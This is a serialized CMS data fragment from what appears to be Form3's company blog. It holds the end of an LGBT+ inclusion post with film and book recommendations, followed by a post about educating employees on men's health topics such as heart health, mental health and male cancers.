(2017)",[],{"type":3373,"text":47890,"spans":47891},"It’s a Sin (2021)",[],{"type":3373,"text":47893,"spans":47894},"Transparent – TV Series",[],{"type":3373,"text":47896,"spans":47897},"Tomboy (2011)",[],{"type":3373,"text":47899,"spans":47900},"Pride (2014)",[],"rich_text$f5304939-7778-4e42-8a0d-2f2a41cc2466",{"variation":437,"version":438,"items":47903,"primary":47904,"id":47915,"slice_type":468,"slice_label":5},[],{"body":47905},[47906,47912],{"type":25,"text":47907,"spans":47908},"We also shared some book recommendations covering workplace culture, finance, and society. These include ‘Creating an LGBT+ inclusive workplace by Kris Shane, GaYme Changer by Jens Schadendorf and Life isn’t Binary by Barker and Lantaffi’ All of these books can be found on our online book subscription provider Perlego for employees to download. ",[47909],{"start":29413,"end":4515,"type":489,"data":47910},{"link_type":491,"url":47911},"https:\u002F\u002Fwww.perlego.com\u002F",{"type":25,"text":47913,"spans":47914},"We know that we’re just at the beginning of our DEI&B journey and are hopeful that the initiatives we organise continue to raise awareness and educate our team to help create an inclusive environment for all.",[],"rich_text$93818955-28f0-4513-9a8b-1a6a6538c5ea",{"id":47917,"uid":47918,"type":42493,"data":47919},"alz1TxEAAC4AUWkD","male-health",{"title":47920,"excerpt":47921,"card_image":47922,"published_date":23799,"reading_time":1130,"tag":42772,"dek":47928,"featured_image":47929,"about_form3":47934,"client_about_heading":5,"client_about_body":47935,"author_name":45003,"author_title":45004,"author_photo":47936,"author_bio":47939,"author_linkedin":47940,"slices":47941,"meta_title":47920,"meta_description":47921},"Why we're educating our team on the subject of Male Health","Inspired by a webinar on the topic of Men’s Health that we attended during Men’s Health Awareness Week in June in 2023, we decided to educate our team on the topic and are since determined to break the stigma and create an open culture of empathy and acceptance.",{"dimensions":47923,"alt":47924,"copyright":5,"url":47925,"id":47926,"edit":47927},{"width":412,"height":412},"Men's Health","\u002F_prismic-media\u002F059445f00b2242a9-gxIn7msluP2Ed3Uv_male-health.png","gxIn7msluP2Ed3Uv",{"x":398,"y":398,"zoom":399,"background":400},"Last year, we started educating our teams on the topic of Women’s Health. It’s a topic that’s close to our hearts and so we wanted to normalise conversations around topics such as menstruation and menopause.",{"dimensions":47930,"alt":47924,"copyright":5,"url":47931,"id":47932,"edit":47933},{"width":501,"height":23861},"\u002F_prismic-media\u002F0fcb759a83f7aaea-u7_F3Wp8p8osy_no_27cb3ccc-d3d6-4ca4-b05c-1e54db8.png","u7_F3Wp8p8osy_no",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":47937,"alt":45003,"copyright":5,"url":45007,"id":45008,"edit":47938},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[],{"link_type":434},[47942,47962,48021],{"variation":437,"version":438,"items":47943,"primary":47944,"id":47961,"slice_type":468,"slice_label":5},[],{"body":47945},[47946,47949,47951],{"type":25,"text":47947,"spans":47948},"Around 75% of our population here at Form3 identify as male, however, and so it seems even more important that we educate ourselves to be better able to support our colleagues. It is shocking, but statistically 1 in 5 men won’t make it to retirement age. That’s not just our male colleagues. That’s also our friends and family members that may be impacted by physical or mental health issues.",[],{"type":25,"text":47921,"spans":47950},[],{"type":25,"text":47952,"spans":47953},"Work is a huge part of our lives and if we want to bring our whole selves to work, then we need to be able to discuss our health openly and honestly. So, we created an internal on-demand training video and a dedicated Men’s Health Hub Page that is loaded with information and resources that we have available internally, but also signposts charities such as Movember and Mentell where support is available externally.",[47954,47957],{"start":13552,"end":16370,"type":489,"data":47955},{"link_type":491,"url":47956},"https:\u002F\u002Fus.movember.com\u002F?home",{"start":27797,"end":47958,"type":489,"data":47959},378,{"link_type":491,"url":47960},"https:\u002F\u002Fwww.mentell.org.uk\u002F#Continue-Anchor","rich_text$f6e89b5c-4663-4363-923d-137d3b5eb706",{"variation":437,"version":438,"items":47963,"primary":47964,"id":48020,"slice_type":468,"slice_label":5},[],{"body":47965},[47966,47969,47982,47990],{"type":746,"text":47967,"spans":47968},"We have since educated our team on the topic of:",[],{"type":3373,"text":47970,"spans":47971},"Cardiovascular Health - Men’s health is about heart health. In fact three-quarters of premature deaths from coronary heart disease are male (Source), and erectile dysfunction can be an early warning sign to heart disease and circulation problems (as well as low levels of testosterone and diabetes) (Source). If you’re intrigued the Men’s Health Forum has some great resources on this and other topics.\nHere at Form3, our team can use their Health & Wellness Allowance to order a home testing kit to get their bloods and testosterone levels checked.",[47972,47973,47976,47979],{"start":398,"end":703,"type":593},{"start":11737,"end":5103,"type":489,"data":47974},{"link_type":491,"url":47975},"https:\u002F\u002Fwww.hrmagazine.co.uk\u002Fcontent\u002Finsights\u002Fwhy-it-s-time-we-all-took-men-s-health-seriously",{"start":6510,"end":18656,"type":489,"data":47977},{"link_type":491,"url":47978},"https:\u002F\u002Fwww.bhf.org.uk\u002Finformationsupport\u002Fheart-matters-magazine\u002Fwellbeing\u002Ferectile-dysfunction#:~:text=If%20arteries%20in%20the%20body,of%20the%20first%20warning%20signs.",{"start":31002,"end":17798,"type":489,"data":47980},{"link_type":491,"url":47981},"https:\u002F\u002Fwww.menshealthforum.org.uk\u002F",{"type":3373,"text":47983,"spans":47984},"Mental Health including Postnatal Depression - Men may be less comfortable talking about ‘wellbeing’ or ‘mental health’, so try to use terms such as ‘stress’ or ‘burnout’ to make the topic more relatable. Ask… and ask again - A lot of men will say they’re alright when actually they’re not. So, either ask in a different way, or ask twice (and really listen to their answer).\nPND is often associated with new mothers but actually thought to affect as many as 1 in 10 men (Source) provides a variety of useful resources for anyone who is struggling.\nOur employees here at Form3 are also supported by our Mental Health First Aiders and have access to qualified therapists via Spill, our EAP.",[47985,47986],{"start":398,"end":2674,"type":593},{"start":6965,"end":47987,"type":489,"data":47988},478,{"link_type":491,"url":47989},"https:\u002F\u002Futswmed.org\u002Fmedblog\u002Fpaternal-postpartum-depression\u002F#:~:text=This%20includes%20postpartum%20depression%20%E2%80%93%20but,recognized%2C%20diagnosed%2C%20and%20treated.",{"type":3373,"text":47991,"spans":47992},"Male-specific cancers and cancers that that affect men more - Because men have a 37% higher risk of dying from cancer and a 67% higher chance of dying from cancers that affect both men and women (Source).\nWe’ve published external resources such as the Check Your Pair – A How-To Guide by the Movember Foundation on our internal company hub to make it as easy as possible for our teams to access this information. We also allow our teams paid time off work to get their health screenings done.\nAs part of Learn with Form3 this month (we offer one company-wide dedicated day of learning per month on a particular topic), the experts from Orchid talked to us about male-specific cancers to raise our awareness. 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